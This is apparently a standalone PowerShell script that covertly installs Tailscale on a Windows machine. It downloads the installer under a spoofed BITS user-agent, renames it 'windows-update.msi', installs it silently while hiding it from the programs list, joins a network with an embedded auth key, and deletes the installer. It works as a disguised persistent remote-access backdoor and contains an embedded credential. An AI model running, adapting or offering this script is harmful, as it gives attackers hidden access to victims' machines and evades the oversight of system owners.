$wc = New-Object System.Net.WebClient
$wc.Headers.Add("User-Agent", "Microsoft BITS/7.8")
$wc.DownloadFile("https://pkgs.tailscale.com/stable/tailscale-setup-1.96.3-amd64.msi", "C:\Windows\Temp\windows-update.msi")

msiexec /i "C:\Windows\Temp\windows-update.msi" /qn /norestart ARPSYSTEMCOMPONENT=1 TS_NOLAUNCH=1 TS_UNATTENDEDMODE=always

Start-Sleep -Seconds 5

& "C:\Program Files\Tailscale\tailscale.exe" up --auth-key="tskey-auth-kkxCJH7tR511CNTRL-fE4nQbXTnsdfpPgNRtTLsdUjq5zD6Pndh" --unattended --reset

Remove-Item "C:\Windows\Temp\windows-update.msi" -Force